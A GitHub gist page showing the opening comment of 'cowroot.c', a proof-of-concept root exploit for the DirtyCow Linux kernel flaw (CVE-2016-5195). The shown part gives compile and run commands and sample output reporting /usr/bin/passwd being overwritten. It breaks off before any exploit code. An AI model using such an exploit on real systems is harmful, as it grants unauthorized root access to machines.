Skip to content

Instantly share code, notes, and snippets.

View dbarrerap's full-sized avatar
🏠
Working from home

David E. Barrera dbarrerap

🏠
Working from home
View GitHub Profile
@dbarrerap
dbarrerap / cowroot.c
Created October 28, 2016 18:24 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten